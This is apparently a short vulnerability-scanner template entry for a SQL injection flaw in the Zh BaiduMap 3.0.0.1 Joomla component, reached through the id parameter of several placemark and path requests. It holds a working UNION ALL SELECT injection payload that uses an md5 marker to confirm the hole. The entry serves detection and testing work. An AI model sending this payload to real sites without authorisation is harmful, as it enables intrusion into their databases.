SQL Injection exists in the Zh BaiduMap 3.0.0.1 component for Joomla! via the id parameter in a getPlacemarkDetails, getPlacemarkHoverText, getPathHoverText, or getPathDetails request.
body:"id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+"